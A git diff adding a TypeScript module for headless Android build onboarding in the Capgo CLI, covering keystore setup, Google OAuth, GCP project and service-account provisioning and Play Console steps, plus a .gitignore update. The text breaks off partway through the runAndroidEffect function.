diff --git a/cli/.gitignore b/cli/.gitignore index be6880a3de..4399fb1d6c 100644 --- a/cli/.gitignore +++ b/cli/.gitignore @@ -27,3 +27,12 @@ test/fixtures/lerna-monorepo/ test/fixtures/version-mismatch/ test/fixtures/wrong-nested-version/ test/fixtures/fake-version-trap/ + +# Private MCP test harness — lives in Cap-go/cli-mcp-tests (overlaid locally, never committed) +test/e2e-mcp/ +test/test-mcp-onboarding.mjs +test/test-android-flow.mjs +test/test-app-id-validation.mjs +test/test-build-output-record.mjs +test/test-oauth-session.mjs +test/test-terminal-launch.mjs diff --git a/cli/src/build/onboarding/android/flow.ts b/cli/src/build/onboarding/android/flow.ts new file mode 100644 index 0000000000..a2edc50264 --- /dev/null +++ b/cli/src/build/onboarding/android/flow.ts @@ -0,0 +1,1365 @@ +// src/build/onboarding/android/flow.ts +// +// Headless, driver-agnostic Android onboarding core. +// +// Task 1: androidStepView — pure mapping from persisted progress to a +// UI-framework-neutral step description. +// +// Task 2: applyAndroidInput / AndroidInput — pure state write for each +// input/choice step. No IO. +// +// Task 3: runAndroidEffect / AndroidEffectDeps — LOCAL effects (keystore, +// SA validation, saving credentials) with fully injected deps. +// +// Task 4: runAndroidEffect (continued) — CLOUD effects (OAuth, GCP, Play) +// with fully injected deps. + +import type { Buffer } from 'node:buffer' +import type { AndroidOnboardingProgress, AndroidOnboardingStep, KeystoreReady } from './types.js' +import type { KeystoreOptions, KeystoreResult, ListAliasesResult, ProbeKeyPasswordResult } from './keystore.js' +import type { ValidateOptions, ValidationResult } from './service-account-validation.js' +import type { GcpProject, GcpServiceAccount, GcpServiceAccountKey } from './gcp-api.js' +import type { GoogleOAuthTokens, GoogleUserInfo, PendingOAuthSession, RunOAuthFlowOptions } from './oauth-google.js' + +// ─── applyGoogleSignIn ──────────────────────────────────────────────────────── + +/** + * Pure helper: given persisted progress, validated OAuth tokens and the user's + * profile, return a NEW progress object (immutable spread) with: + * - `_oauthRefreshToken` set to `tokens.refreshToken` + * - `completedSteps.googleSignInComplete` set to `{ email, googleSubject, scope }` + * + * This is the single canonical place where Google sign-in state is written to + * progress — shared by the Ink core effect (`google-sign-in-running`) and the + * MCP bridge so both produce identical progress objects. + */ +export function applyGoogleSignIn( + progress: AndroidOnboardingProgress, + tokens: GoogleOAuthTokens, + info: GoogleUserInfo, +): AndroidOnboardingProgress { + return { + ...progress, + _oauthRefreshToken: tokens.refreshToken, + completedSteps: { + ...progress.completedSteps, + googleSignInComplete: { + email: info.email, + googleSubject: info.sub, + scope: tokens.scope, + }, + }, + } +} +import { getAndroidResumeStep, hasAnyOAuthProgress } from './progress.js' +import { extractDeveloperId } from './play-api.js' +import { generateProjectId, sanitizeGcpProjectDisplayName, ANDROIDPUBLISHER_API, DEFAULT_SERVICE_ACCOUNT_ID, DEFAULT_SERVICE_ACCOUNT_DISPLAY_NAME, DEFAULT_SERVICE_ACCOUNT_DESCRIPTION } from './gcp-api.js' +import { generateRandomPassword } from './keystore.js' +import { MissingScopesError } from './oauth-google.js' +import { CAPGO_SA_DEVELOPER_PERMISSIONS, CAPGO_SA_APP_PERMISSIONS } from './play-api.js' + +// ─── Types ──────────────────────────────────────────────────────────────────── + +export type AndroidStepKind = 'auto' | 'input' | 'choice' | 'done' | 'error' + +export interface AndroidStepOption { + value: string + label?: string + note?: string +} + +export interface AndroidStepView { + step: AndroidOnboardingStep + kind: AndroidStepKind + title?: string + prompt?: string // 'input' steps + collect?: string[] // field(s) an 'input' step gathers + options?: AndroidStepOption[] // 'choice' steps + message?: string // 'done' | 'error' +} + +export interface AndroidStepCtx { + appId: string + detectedPackageIds?: string[] + gcpProjects?: { projectId: string, name: string, projectNumber?: string }[] + detectedAliases?: string[] + saValidation?: { ok: false, kind: string, message: string } | { ok: true } + /** + * Task 3 — keystore-existing-key-password prompt boundary. + * Set to true in AndroidEffectResult.transient when the auto-probe could not + * resolve the key password and the driver should show the manual input. + * After the user submits, applyAndroidInput records keystoreKeyPassword and + * re-running the effect finds it set and completes the phase. + */ + needsKeyPasswordPrompt?: boolean + /** + * Task 4 — fresh access token returned from google-sign-in-running so the + * driver can seed its token cache and avoid an immediate refresh on the next + * step. If the driver ignores it, deps.getAccessToken() will mint one — + * behaviorally identical. + */ + accessToken?: string + /** + * keystore-existing-detecting-alias wrong-password signal. + * Set to true in AndroidEffectResult.transient when listKeystoreAliases returns + * { ok: false, reason: 'wrong-password' }. The driver (app.tsx) maps this to + * the original UX: setError + setRetryStep('keystore-existing-store-password') + * + setStep('error') WITHOUT calling handleError (no retryCount bump). + */ + wrongPassword?: boolean +} + +// ─── KIND_TABLE ─────────────────────────────────────────────────────────────── +// +// Maps every AndroidOnboardingStep to its base kind. Steps outside the core +// provisioning machine (bootstrap, post-save tail) still need a sensible +// mapping so the Record is exhaustive and tsgo is happy. + +export const KIND_TABLE: Record = { + // ── Bootstrap (stays in Ink, not in the progress machine) ── + 'welcome': 'auto', + 'credentials-exist': 'choice', + 'backing-up': 'auto', + 'no-platform': 'error', + + // ── Phase 1 — Keystore ── + 'keystore-method-select': 'choice', + 'keystore-explainer': 'choice', + 'keystore-existing-path': 'choice', // chooser (picker vs manual) + manual input + 'keystore-existing-picker': 'auto', + 'keystore-existing-store-password': 'input', + 'keystore-existing-detecting-alias': 'auto', + 'keystore-existing-alias-select': 'choice', + 'keystore-existing-alias': 'input', + 'keystore-existing-key-password': 'input', + 'keystore-new-alias': 'input', + 'keystore-new-password-method': 'choice', + 'keystore-new-store-password': 'input', + 'keystore-new-key-password': 'input', + 'keystore-new-cn': 'input', + 'keystore-generating': 'auto', + + // ── Phase 2 — Service account method fork ── + 'service-account-method-select': 'choice', + + // ── Phase 2a — Import existing SA JSON ── + 'sa-json-existing-path': 'choice', // chooser (picker vs manual) + manual input + 'sa-json-existing-picker': 'auto', + 'sa-json-validating': 'auto', + 'sa-json-validation-failed': 'choice', + + // ── Phase 2b — Google sign-in ── + 'google-sign-in': 'choice', + 'google-sign-in-running': 'auto', + + // ── Phase 3 — Play developer account ── + 'play-developer-id-input': 'choice', // actions (open / tutorial / manual) + + // ── Phase 4 — GCP project ── + 'gcp-projects-loading': 'auto', + 'gcp-projects-select': 'choice', + 'gcp-project-create-name': 'input', + + // ── Phase 4.5 — Android package ── + 'android-package-select': 'auto', // auto pre-loads; then choice/input + + // ── Phase 5 — Provisioning ── + 'gcp-setup-running': 'auto', + + // ── Phase 6 — Save & Build (post-save tail stays in Ink) ── + 'saving-credentials': 'auto', + 'detecting-ci-secrets': 'auto', + 'ci-secrets-setup': 'auto', + 'ci-secrets-target-select': 'choice', + 'ask-ci-secrets': 'choice', + 'checking-ci-secrets': 'auto', + 'confirm-ci-secret-overwrite': 'choice', + 'uploading-ci-secrets': 'auto', + 'ci-secrets-failed': 'error', + 'ask-github-actions-setup': 'choice', + 'confirm-secrets-push': 'choice', + 'ask-export-env': 'choice', + 'exporting-env': 'auto', + 'confirm-env-export-overwrite': 'choice', + 'overwrite-and-export-env': 'auto', + 'pick-package-manager': 'choice', + 'pick-build-script': 'choice', + 'pick-build-script-custom': 'input', + 'preview-workflow-file': 'choice', + 'view-workflow-diff': 'choice', + 'writing-workflow-file': 'auto', + 'ask-build': 'choice', + 'requesting-build': 'auto', + 'build-complete': 'done', + 'error': 'error', +} + +// ─── Static option tables ───────────────────────────────────────────────────── +// +// Faithful to the options shown in app.tsx. Navigation-only / sub-mode options +// (like 'learn', 'back') are included so the headless layer has the full menu. + +const OPTIONS_KEYSTORE_METHOD: AndroidStepOption[] = [ + { value: 'existing', label: 'Yes, I have one' }, + { value: 'generate', label: 'No, create one for me' }, + { value: 'learn', label: 'What is a keystore?' }, +] + +const OPTIONS_KEYSTORE_EXPLAINER: AndroidStepOption[] = [ + { value: 'back', label: 'Back' }, +] + +const OPTIONS_KEYSTORE_EXISTING_PATH: AndroidStepOption[] = [ + { value: 'picker', label: 'Open file picker' }, + { value: 'manual', label: 'Type the path' }, +] + +const OPTIONS_KEYSTORE_NEW_PASSWORD_METHOD: AndroidStepOption[] = [ + { value: 'random', label: 'Generate a random password (recommended)' }, + { value: 'manual', label: "I'll type my own password" }, +] + +const OPTIONS_SERVICE_ACCOUNT_METHOD: AndroidStepOption[] = [ + { value: 'generate', label: 'Set it up for me (recommended) — I sign in with Google once and Capgo configures Play access automatically' }, + { value: 'existing', label: 'I already have a Google Play service-account JSON file to use' }, +] + +const OPTIONS_SA_JSON_EXISTING_PATH: AndroidStepOption[] = [ + { value: 'picker', label: 'Open file picker' }, + { value: 'manual', label: 'Type the path' }, +] + +const OPTIONS_SA_JSON_VALIDATION_FAILED: AndroidStepOption[] = [ + { value: 'retry', label: 'Try a different service account JSON file' }, + { value: 'save-anyway', label: 'Save anyway (skip validation)' }, + { value: 'oauth', label: 'Set one up for me via Google instead' }, +] + +const OPTIONS_GOOGLE_SIGN_IN: AndroidStepOption[] = [ + { value: 'go', label: 'Continue to Google sign-in' }, + { value: 'learn', label: 'Learn why the onboarding via Google is secure' }, + { value: 'exit', label: "Exit (I'll do it later)" }, +] + +const OPTIONS_PLAY_DEVELOPER_ID: AndroidStepOption[] = [ + { value: 'open', label: 'Open Play Console in browser' }, + { value: 'tutorial', label: 'Show me how to find the developer ID' }, + { value: 'manual', label: "I'll type it now" }, +] + +const OPTIONS_GCP_PROJECT_NEW: AndroidStepOption = { + value: '__new__', + label: 'Create a new project', +} + +// ─── androidViewForStep ─────────────────────────────────────────────────────── + +/** + * Pure function: given an explicit step name, persisted progress (or null), + * and the current runtime context, return a UI-framework-neutral description + * of the step. + * + * This is the primary entry-point for drivers that already know the step + * (e.g. the MCP bridge). `androidStepView` is a thin wrapper that resolves + * the step from progress first. + * + * Dynamic kind for `android-package-select`: + * - ctx.detectedPackageIds === undefined → 'auto' (preload not yet done) + * - ctx.detectedPackageIds.length > 0 → 'choice' (options = the ids) + * - ctx.detectedPackageIds.length === 0 → 'input' (user must type it) + * + * All other steps use KIND_TABLE[step] unchanged. + * + * No I/O; no mutation of progress. + */ +export function androidViewForStep( + step: AndroidOnboardingStep, + progress: AndroidOnboardingProgress | null, + ctx: AndroidStepCtx, +): AndroidStepView { + // Dynamic kind for android-package-select; all others fall through to KIND_TABLE. + const kind: AndroidStepView['kind'] = step === 'android-package-select' + ? (ctx.detectedPackageIds === undefined + ? 'auto' + : ctx.detectedPackageIds.length > 0 ? 'choice' : 'input') + : KIND_TABLE[step] + + const base: AndroidStepView = { step, kind } + + switch (step) { + // ── Bootstrap ── + case 'no-platform': + return { ...base, message: 'No Android platform found. Run `npx cap add android` first.' } + + // ── Phase 1 — Keystore ── + case 'keystore-method-select': + return { ...base, options: OPTIONS_KEYSTORE_METHOD } + + case 'keystore-explainer': + return { ...base, options: OPTIONS_KEYSTORE_EXPLAINER } + + case 'keystore-existing-path': + return { ...base, options: OPTIONS_KEYSTORE_EXISTING_PATH } + + case 'keystore-existing-store-password': + return { ...base, prompt: 'Keystore store password', collect: ['keystoreStorePassword'] } + + case 'keystore-existing-alias-select': { + const aliases = ctx.detectedAliases ?? [] + return { + ...base, + options: aliases.map(a => ({ value: a, label: a })), + } + } + + case 'keystore-existing-alias': + return { ...base, prompt: 'Keystore alias', collect: ['keystoreAlias'] } + + case 'keystore-existing-key-password': + return { ...base, prompt: 'Keystore key password', collect: ['keystoreKeyPassword'] } + + case 'keystore-new-alias': + return { ...base, prompt: 'Key alias (e.g. release)', collect: ['keystoreAlias'] } + + case 'keystore-new-password-method': + return { ...base, options: OPTIONS_KEYSTORE_NEW_PASSWORD_METHOD } + + case 'keystore-new-store-password': + return { ...base, prompt: 'Store password (min 6 chars)', collect: ['keystoreStorePassword'] } + + case 'keystore-new-key-password': + return { ...base, prompt: 'Key password', collect: ['keystoreKeyPassword'] } + + case 'keystore-new-cn': + return { ...base, prompt: 'Common name (e.g. your app ID)', collect: ['keystoreCommonName'] } + + // ── Phase 2 — Service account fork ── + case 'service-account-method-select': + return { ...base, options: OPTIONS_SERVICE_ACCOUNT_METHOD } + + // ── Phase 2a — Import SA JSON ── + case 'sa-json-existing-path': + return { ...base, options: OPTIONS_SA_JSON_EXISTING_PATH } + + case 'sa-json-validation-failed': { + const message = ctx.saValidation && !ctx.saValidation.ok + ? ctx.saValidation.message + : undefined + return { ...base, options: OPTIONS_SA_JSON_VALIDATION_FAILED, message } + } + + // ── Phase 2b — Google sign-in ── + case 'google-sign-in': + return { ...base, options: OPTIONS_GOOGLE_SIGN_IN } + + // ── Phase 3 — Play developer account ── + case 'play-developer-id-input': + return { ...base, options: OPTIONS_PLAY_DEVELOPER_ID } + + // ── Phase 4 — GCP project ── + case 'gcp-projects-select': { + const projectOptions: AndroidStepOption[] = (ctx.gcpProjects ?? []).map(p => ({ + value: p.projectId, + label: p.name, + note: p.projectNumber, + })) + return { ...base, options: [...projectOptions, OPTIONS_GCP_PROJECT_NEW] } + } + + case 'gcp-project-create-name': + return { ...base, prompt: 'New GCP project display name', collect: ['pendingNewProjectDisplayName'] } + + // ── Phase 4.5 — Android package ── + // kind is already set dynamically above; only add options when choice. + case 'android-package-select': { + if (kind === 'choice' && ctx.detectedPackageIds && ctx.detectedPackageIds.length > 0) { + const packageOptions: AndroidStepOption[] = ctx.detectedPackageIds.map(id => ({ + value: id, + label: id, + })) + return { ...base, options: packageOptions } + } + return base + } + + // ── Done ── + case 'build-complete': + return { ...base, message: 'Build complete.' } + + // ── Error ── + case 'error': + return { ...base, message: 'An error occurred. Check the details above.' } + + // All other steps (auto spinners, post-save tail) return kind only. + default: + return base + } +} + +// ─── androidStepView ────────────────────────────────────────────────────────── + +/** + * Pure function: given persisted progress (or null for a fresh run) and the + * current runtime context, return a UI-framework-neutral description of the + * step the user is on. + * + * Thin wrapper around `androidViewForStep` that resolves the step from + * progress first. Drivers that already know the step should call + * `androidViewForStep` directly. + * + * No I/O; no mutation of progress. + */ +export function androidStepView( + progress: AndroidOnboardingProgress | null, + ctx: AndroidStepCtx, +): AndroidStepView { + const step = progress ? getAndroidResumeStep(progress) : 'keystore-method-select' + return androidViewForStep(step, progress, ctx) +} + +// ─── RELEASE_ALIAS_DEFAULT ──────────────────────────────────────────────────── +// Mirrors the constant in app.tsx so both use the same default. +const RELEASE_ALIAS_DEFAULT = 'release' + +// ─── AndroidInput ───────────────────────────────────────────────────────────── +// +// Discriminated union — one variant per input/choice step that records state. +// Navigation-only choices (e.g. 'learn', 'back', 'picker', 'manual' sub-mode) +// are included so the headless layer has the full vocabulary, but they return +// progress unchanged in applyAndroidInput. + +export type AndroidInput = + // Phase 1 — Keystore method + | { step: 'keystore-method-select'; value: 'existing' | 'generate' | 'learn' } + + // Phase 1 — Existing keystore path (manual text input; file-picker is handled + // by runAndroidEffect as Ink-only TTY IO) + | { step: 'keystore-existing-path'; path: string } + + // Phase 1 — Existing keystore store password + | { step: 'keystore-existing-store-password'; password: string } + + // Phase 1 — Existing keystore alias select (multi-alias chooser) + | { step: 'keystore-existing-alias-select'; alias: string } + + // Phase 1 — Existing keystore alias manual entry + | { step: 'keystore-existing-alias'; alias: string } + + // Phase 1 — Existing keystore key password (prompt sub-mode). + // NOTE: IO boundary — applyAndroidInput records keystoreKeyPassword only. + // Reading the p12, computing _keystoreBase64, and writing keystoreReady + + // serviceAccountForkSeen is IO handled by runAndroidEffect (Task 3). + | { step: 'keystore-existing-key-password'; password: string } + + // Phase 1 — New keystore alias + | { step: 'keystore-new-alias'; alias: string } + + // Phase 1 — New keystore password method + // random: generates pw, writes keystoreStorePassword + keystoreKeyPassword; + // manual: navigation-only (progress unchanged; component transitions to store-pw screen) + | { step: 'keystore-new-password-method'; value: 'random' | 'manual' } + + // Phase 1 — New keystore store password (manual path) + | { step: 'keystore-new-store-password'; password: string } + + // Phase 1 — New keystore key password (manual path; empty → store pw) + | { step: 'keystore-new-key-password'; password: string } + + // Phase 1 — New keystore common name (empty → appId) + | { step: 'keystore-new-cn'; cn: string } + + // Phase 2 — Service account method + | { step: 'service-account-method-select'; value: 'generate' | 'existing' } + + // Phase 2a — SA JSON path (manual; file-picker is Ink-only) + | { step: 'sa-json-existing-path'; path: string } + + // Phase 2a — SA JSON validation failed recovery. + // 'save-anyway' IO boundary: the caller provides serviceAccountKeyBase64 + // (bytes already read by the driver) for the pure state write. + | { step: 'sa-json-validation-failed'; value: 'retry' | 'oauth' } + | { step: 'sa-json-validation-failed'; value: 'save-anyway'; serviceAccountKeyBase64: string } + + // Phase 3 — Play developer account ID (raw URL or numeric id) + | { step: 'play-developer-id-input'; rawDeveloperIdOrUrl: string } + + // Phase 4 — GCP project select (existing) + | { step: 'gcp-projects-select'; gcpProject: { projectId: string; name: string; projectNumber?: string } } + + // Phase 4 — GCP project create name (empty falls back to sanitized `Capgo ${appId}`) + | { step: 'gcp-project-create-name'; displayName: string } + + // Phase 4.5 — Android package select. + // serviceAccountMethod is required so the pure function can route correctly + // (progress.serviceAccountMethod may already be set but is also passed + // explicitly here to keep the function self-contained). + | { step: 'android-package-select'; packageName: string; source: 'gradle' | 'capacitor-config' | 'user-input'; serviceAccountMethod: 'generate' | 'existing' } + +// ─── applyAndroidInput ──────────────────────────────────────────────────────── +// +// Pure function: given the current step, persisted progress, and user input, +// return a NEW progress object (spread — never mutate). Replicates each +// `persistAndStep` updater from app.tsx EXACTLY. +// +// Navigation-only inputs (e.g. 'learn', 'manual' sub-mode switch) return +// progress unchanged; the Ink component handles the visual transition. + +export function applyAndroidInput( + step: AndroidOnboardingStep, + progress: AndroidOnboardingProgress, + input: AndroidInput, +): AndroidOnboardingProgress { + switch (step) { + // ── keystore-method-select ──────────────────────────────────────────────── + // app.tsx:1900, 1904 + case 'keystore-method-select': { + const i = input as Extract + if (i.value === 'existing') { + return { ...progress, keystoreMethod: 'existing' } + } + if (i.value === 'generate') { + return { ...progress, keystoreMethod: 'generate' } + } + // 'learn' → navigation-only; progress unchanged + return progress + } + + // ── keystore-existing-path ──────────────────────────────────────────────── + // app.tsx:1971 + case 'keystore-existing-path': { + const i = input as Extract + return { ...progress, keystoreExistingPath: i.path } + } + + // ── keystore-existing-store-password ────────────────────────────────────── + // app.tsx:2001 + case 'keystore-existing-store-password': { + const i = input as Extract + return { ...progress, keystoreStorePassword: i.password } + } + + // ── keystore-existing-alias-select ──────────────────────────────────────── + // app.tsx:2020 + case 'keystore-existing-alias-select': { + const i = input as Extract + return { ...progress, keystoreAlias: i.alias } + } + + // ── keystore-existing-alias ─────────────────────────────────────────────── + // app.tsx:2038 — trim/RELEASE_ALIAS_DEFAULT + case 'keystore-existing-alias': { + const i = input as Extract + const alias = i.alias.trim() || RELEASE_ALIAS_DEFAULT + return { ...progress, keystoreAlias: alias } + } + + // ── keystore-existing-key-password ──────────────────────────────────────── + // app.tsx:2073–2078 (IO boundary — only the pure state write here) + // Records keystoreKeyPassword; the p12 read + _keystoreBase64 + keystoreReady + // + serviceAccountForkSeen writes are IO handled by runAndroidEffect (Task 3). + case 'keystore-existing-key-password': { + const i = input as Extract + const keyPw = i.password || progress.keystoreStorePassword || '' + return { ...progress, keystoreKeyPassword: keyPw } + } + + // ── keystore-new-alias ──────────────────────────────────────────────────── + // app.tsx:2112 — trim/RELEASE_ALIAS_DEFAULT + case 'keystore-new-alias': { + const i = input as Extract + const alias = i.alias.trim() || RELEASE_ALIAS_DEFAULT + return { ...progress, keystoreAlias: alias } + } + + // ── keystore-new-password-method ────────────────────────────────────────── + // app.tsx:2129–2134 (random) / 2137 (manual → navigation-only) + case 'keystore-new-password-method': { + const i = input as Extract + if (i.value === 'random') { + const pw = generateRandomPassword() + return { ...progress, keystoreStorePassword: pw, keystoreKeyPassword: pw, keystorePasswordGenerated: true } + } + // 'manual' → the user will type the password. The TUI tracks this in + // component state; the stateless MCP persists a marker so the next call + // resumes onto the dedicated keystore-new-store-password step. + return { ...progress, keystorePasswordManual: true } + } + + // ── keystore-new-store-password ─────────────────────────────────────────── + // app.tsx:2161 + case 'keystore-new-store-password': { + const i = input as Extract + return { ...progress, keystoreStorePassword: i.password } + } + + // ── keystore-new-key-password ───────────────────────────────────────────── + // app.tsx:2176–2179 — empty falls back to keystoreStorePassword + case 'keystore-new-key-password': { + const i = input as Extract + const keyPw = i.password || progress.keystoreStorePassword || '' + return { ...progress, keystoreKeyPassword: keyPw } + } + + // ── keystore-new-cn ─────────────────────────────────────────────────────── + // app.tsx:2197 — trim/appId + case 'keystore-new-cn': { + const i = input as Extract + const cn = i.cn.trim() || progress.appId + return { ...progress, keystoreCommonName: cn } + } + + // ── service-account-method-select ───────────────────────────────────────── + // app.tsx:2234–2243 + case 'service-account-method-select': { + const i = input as Extract + return { ...progress, serviceAccountMethod: i.value } + } + + // ── sa-json-existing-path ───────────────────────────────────────────────── + // app.tsx:2304–2307 + case 'sa-json-existing-path': { + const i = input as Extract + return { ...progress, serviceAccountJsonPath: i.path } + } + + // ── sa-json-validation-failed ───────────────────────────────────────────── + // app.tsx:2365–2401 + case 'sa-json-validation-failed': { + const i = input as Extract + if (i.value === 'retry') { + // Clear the saved path so the picker chooser shows fresh (app.tsx:2366) + return { ...progress, serviceAccountJsonPath: undefined } + } + if (i.value === 'save-anyway') { + // IO boundary: caller provides serviceAccountKeyBase64 from file read. + // app.tsx:2382–2383: sets _serviceAccountKeyBase64 + serviceAccountValidationSkipped + return { + ...progress, + _serviceAccountKeyBase64: i.serviceAccountKeyBase64, + serviceAccountValidationSkipped: true, + } + } + // 'oauth' → fall back to OAuth provisioning path (app.tsx:2398–2400) + return { ...progress, serviceAccountMethod: 'generate' } + } + + // ── play-developer-id-input ─────────────────────────────────────────────── + // app.tsx:2555–2563 + case 'play-developer-id-input': { + const i = input as Extract + const developerId = extractDeveloperId(i.rawDeveloperIdOrUrl) + if (!developerId) { + // Invalid input — return progress unchanged; caller should surface error + return progress + } + const choice = { developerId } + return { + ...progress, + completedSteps: { ...progress.completedSteps, playAccountChosen: choice }, + } + } + + // ── gcp-projects-select ─────────────────────────────────────────────────── + // app.tsx:2607–2612 (existing project pick) + // '__new__' is a navigation-only value handled by the component (→ create-name screen) + case 'gcp-projects-select': { + const i = input as Extract + const choice = { + projectId: i.gcpProject.projectId, + projectNumber: i.gcpProject.projectNumber, + displayName: i.gcpProject.name, + createdByOnboarding: false as const, + } + return { + ...progress, + completedSteps: { ...progress.completedSteps, gcpProjectChosen: choice }, + } + } + + // ── gcp-project-create-name ─────────────────────────────────────────────── + // app.tsx:2640–2647 + case 'gcp-project-create-name': { + const i = input as Extract + const displayName = sanitizeGcpProjectDisplayName( + i.displayName.trim() || `Capgo ${progress.appId}`, + ) + const projectId = generateProjectId(progress.appId) + const choice = { + projectId, + displayName, + createdByOnboarding: true as const, + } + return { + ...progress, + pendingNewProjectId: projectId, + pendingNewProjectDisplayName: displayName, + completedSteps: { ...progress.completedSteps, gcpProjectChosen: choice }, + } + } + + // ── android-package-select ──────────────────────────────────────────────── + // app.tsx:2694–2701 (gradle picker) / 2727–2734 (manual input) + // The next step depends on serviceAccountMethod (passed in input since + // progress.serviceAccountMethod is the canonical source but the caller + // also has it in local React state — both should be in sync). + case 'android-package-select': { + const i = input as Extract + const choice = { + packageName: i.packageName, + source: i.source, + } + return { + ...progress, + completedSteps: { ...progress.completedSteps, androidPackageChosen: choice }, + } + } + + default: + return progress + } +} + +// ─── AndroidEffectDeps ──────────────────────────────────────────────────────── +// +// Full interface for the WHOLE effect surface (Task 3 LOCAL + Task 4 CLOUD). +// Task 3 only uses a subset — the cloud deps (getAccessToken, runOAuthFlow, …) +// are unused here and are wired up when Task 4 implements their branches. +// Defining the complete interface now means Task 4 reuses it unchanged. + +export interface AndroidEffectDeps { + // ── Keystore operations ────────────────────────────────────────────────── + generateKeystore: (opts: KeystoreOptions) => KeystoreResult + listKeystoreAliases: (bytes: Uint8Array, password: string) => ListAliasesResult + tryUnlockPrivateKey: (bytes: Uint8Array, password: string) => ProbeKeyPasswordResult + + // ── Service account validation ─────────────────────────────────────────── + validateServiceAccountJson: (opts: ValidateOptions) => Promise + + // ── Build credentials persistence ──────────────────────────────────────── + updateSavedCredentials: ( + appId: string, + platform: 'ios' | 'android', + credentials: Record, + ) => Promise + loadSavedCredentials: (appId: string) => Promise + + // ── Onboarding progress persistence ───────────────────────────────────── + saveAndroidProgress: (appId: string, progress: AndroidOnboardingProgress) => Promise + loadAndroidProgress: (appId: string) => Promise + deleteAndroidProgress: (appId: string) => Promise + + // ── File system (injected so effects can be tested without real FS) ────── + readFile: (path: string) => Promise + copyFile: (src: string, dest: string) => Promise + + // ── OAuth (Task 4) ─────────────────────────────────────────────────────── + /** + * Run the full browser OAuth flow. The driver pre-binds OAuth client config + * (clientId, clientSecret, scopes) so the core never sees credentials — + * config/scope policy lives in the driver. + * + * Signature mirrors RunOAuthFlowOptions from oauth-google.ts (minus + * timeoutMs/signal which the driver controls internally). + */ + runOAuthFlow: (callbacks: Pick) => Promise + + /** + * Non-blocking OAuth starter (MCP fire-and-poll). Opens the browser and + * starts the loopback listener, then returns a PendingOAuthSession immediately + * without waiting for sign-in to complete. The MCP bridge uses this to + * avoid blocking a single tool call on the full OAuth round-trip. + * + * Optional — only provided by the MCP driver. The Ink driver uses the + * blocking `runOAuthFlow` instead and does not need this dep. + * + * The driver pre-binds OAuth client config (clientId, clientSecret, scopes). + */ + startOAuthFlow?: (callbacks?: Pick) => Promise + + /** Fetch the signed-in user's profile (email, sub). */ + fetchUserInfo: (accessToken: string) => Promise + + /** + * Mint a fresh access token from the stored refresh token. Called before + * each cloud step that needs one. The driver owns the token cache and + * handles expiry. + */ + getAccessToken: () => Promise + + /** + * Revoke a Google OAuth refresh token. Best-effort — the core swallows + * failures (non-fatal; the token expires on its own). + */ + revokeToken: (refreshToken: string) => Promise + + // ── GCP Cloud Resource Manager / Service Usage / IAM (Task 4) ──────────── + /** + * List GCP projects the user has access to. + * Mirrors gcp-api.ts: listProjects(accessToken). + */ + listProjects: (accessToken: string) => Promise + + /** + * Create a GCP project and wait for the operation to finish. + * Mirrors gcp-api.ts: createProject(accessToken, projectId, displayName). + */ + createProject: (accessToken: string, projectId: string, displayName: string) => Promise + + /** + * Enable an API on a project (idempotent). + * Mirrors gcp-api.ts: enableService(accessToken, projectId, serviceName). + */ + enableService: (accessToken: string, projectId: string, serviceName: string) => Promise + + /** + * Find or create the Capgo service account in a project. + * Mirrors gcp-api.ts: ensureServiceAccount(args). + */ + ensureServiceAccount: (args: { + accessToken: string + projectId: string + accountId: string + displayName?: string + description?: string + }) => Promise<{ account: GcpServiceAccount; created: boolean }> + + /** + * Create a JSON key for a service account. + * Mirrors gcp-api.ts: createServiceAccountKey(args). + */ + createServiceAccountKey: (args: { + accessToken: string + projectId: string + serviceAccountEmail: string + }) => Promise + + // ── Google Play Developer API (Task 4) ──────────────────────────────────── + /** + * Invite the service account into the Play Console developer account. + * Mirrors play-api.ts: inviteServiceAccount(args). + */ + inviteServiceAccount: (args: { + accessToken: string + developerId: string + serviceAccountEmail: string + developerAccountPermissions?: readonly string[] + grants?: ReadonlyArray<{ packageName: string; permissions: readonly string[] }> + }) => Promise + + // ── Android project detection (Task 4) ─────────────────────────────────── + /** + * Find applicationId values in the Android Gradle build files. + * The driver pre-binds `androidDir` so this dep is argless from the core's + * perspective. The driver calls findAndroidApplicationIds(androidDir) under + * the hood. + */ + findAndroidApplicationIds: () => Promise + + // ── Callbacks (optional — callers that don't need streaming can omit) ──── + onStatus?: (message: string) => void + onLog?: (message: string, color?: string) => void + onAuthUrl?: (url: string) => void + signal?: AbortSignal +} + +// ─── AndroidStepCtx (extend with needsKeyPasswordPrompt) ───────────────────── +// Already exported above; this documents the Task 3 addition. +// AndroidStepCtx.needsKeyPasswordPrompt?: boolean — returned in transient when +// keystore-existing-key-password could not auto-resolve the key password so the +// driver shows the manual input prompt. +// (The field is declared inside AndroidStepCtx above; re-export not needed.) + +// ─── AndroidEffectResult ───────────────────────────────────────────────────── + +export interface AndroidEffectResult { + /** Updated progress after the effect ran (matches what was persisted). */ + progress: AndroidOnboardingProgress + /** Explicit next step when not derivable from progress alone (★ transitions). */ + next?: AndroidOnboardingStep + /** Transient runtime data that lives in the driver but is NOT persisted. */ + transient?: Partial +} + +// ─── runAndroidEffect ───────────────────────────────────────────────────────── +// +// Dispatches to the right effect handler for auto steps that do IO. +// Throws `Error('Unhandled effect step: ${step}')` for steps not yet +// implemented in this task — the driver catches and surfaces the error. +// +// Persistence contract: the effect calls `deps.saveAndroidProgress` at the +// SAME points app.tsx's `persist()` calls fire (crash-recovery parity), AND +// returns the final progress in AndroidEffectResult.progress. The driver may +// also call saveAndroidProgress for steps where the effect's transient result +// implies a state change but the effect intentionally withholds (e.g. +// keystore-existing-detecting-alias persists alias; detecting fails → no persist). + +export async function runAndroidEffect( + step: AndroidOnboardingStep, + progress: AndroidOnboardingProgress, + deps: AndroidEffectDeps, +): Promise { + switch (step) { + // ── keystore-existing-detecting-alias ───────────────────────────────── + // app.tsx:903–942 + case 'keystore-existing-detecting-alias': { + const bytes = await deps.readFile(progress.keystoreExistingPath!) + const listed = deps.listKeystoreAliases(bytes, progress.keystoreStorePassword!) + + if (listed.ok && listed.aliases.length === 1) { + const alias = listed.aliases[0] + const nextProgress: AndroidOnboardingProgress = { ...progress, keystoreAlias: alias } + await deps.saveAndroidProgress(progress.appId, nextProgress) + deps.onLog?.(`✔ Detected alias · ${alias}`) + return { progress: nextProgress, next: 'keystore-existing-key-password' } + } + + if (listed.ok && listed.aliases.length > 1) { + // Do NOT persist alias — user must choose from transient detectedAliases + return { + progress, + next: 'keystore-existing-alias-select', + transient: { detectedAliases: listed.aliases }, + } + } + + if (!listed.ok && listed.reason === 'wrong-password') { + // Do NOT throw — the driver owns the error UX for this case. + // 